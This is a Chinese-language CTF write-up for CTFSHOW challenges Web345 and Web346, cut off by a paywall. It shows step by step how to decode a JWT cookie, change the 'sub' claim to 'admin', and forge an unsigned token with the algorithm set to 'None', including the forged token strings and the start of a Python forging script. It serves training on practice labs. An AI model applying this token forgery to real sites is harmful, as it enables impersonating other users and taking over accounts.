文章目录
前言
有些师傅向我咨询WP,索性就发了吧,其实早就写好了,只是懒,在github仓库里囤着,有人说我写错了,这样吧群主改题也不是我能控制的,我能做的就是简简单单分享,也不想重做这些题仅参考
JWT简介
可以看看我的Github总结给自己看的,Y4tacker
CTFSHOW Web345
首先打开题目,查看源码,接下来访问/admin被跳转回主页啥也没有发生
where is flag?
<!-- /admin -->
当然知道这个板块是JWT,自然而然我们看一眼Cookie,发现名为auth的一个cookie为
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3sic3ViIjoidXNlciJ9XQ
通过base64解密或者去jwt.io解码也行,得到结果
{"alg":"None","typ":"jwt"}[{"sub":"user"}]
所以我们尝试把sub对应的键值修改
{"alg":"None","typ":"jwt"}[{"sub":"admin"}]
把前面部分和后面部分分别base64-encode
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0
后面
W3sic3ViIjoiYWRtaW4ifV0=
把这两部分用点(.)拼接两部分并去掉等于号
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3sic3ViIjoiYWRtaW4ifV0
此时拿着这一串cookie去替换掉原来的值,之后访问/admin即可获取flag
CTFSHOW Web346
前置知识
JWT支持将算法设定为“None”。如果“alg”字段设为“ None”,那么签名会被置空,这样任何token都是有效的。
设定该功能的最初目的是为了方便调试。但是,若不在生产环境中关闭该功能,攻击者可以通过将alg字段设置为“None”来伪造他们想要的任何token,接着便可以使用伪造的token冒充任意用户登陆网站。
开始做题
首先拿到cookie
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYwOTIzNjg3MCwiZXhwIjoxNjA5MjQ0MDcwLCJuYmYiOjE2MDkyMzY4NzAsInN1YiI6InVzZXIiLCJqdGkiOiI5NDNkMGIzMjM3ODA2NjU5ZDJlMjA1ZTQyYjMxOTQ5NCJ9.9TUQLyYKs97ceFhZQ4BzkAuug6nCgLoMAbLH88kSOwo
解码
{
"alg": "HS256",
"typ": "JWT"
}
{
"iss": "admin",
"iat": 1609236870,
"exp": 1609244070,
"nbf": 1609236870,
"sub": "user",
"jti": "943d0b3237806659d2e205e42b319494"
}
我们需要把sub字段改为admin
但是如果把签名算法改为none的化jwt.io那个网站就无法生成,这个时候可以使用python生成
import jwt
# payload
token_dict = {
"iss"

最低0.47元/天 解锁文章
407





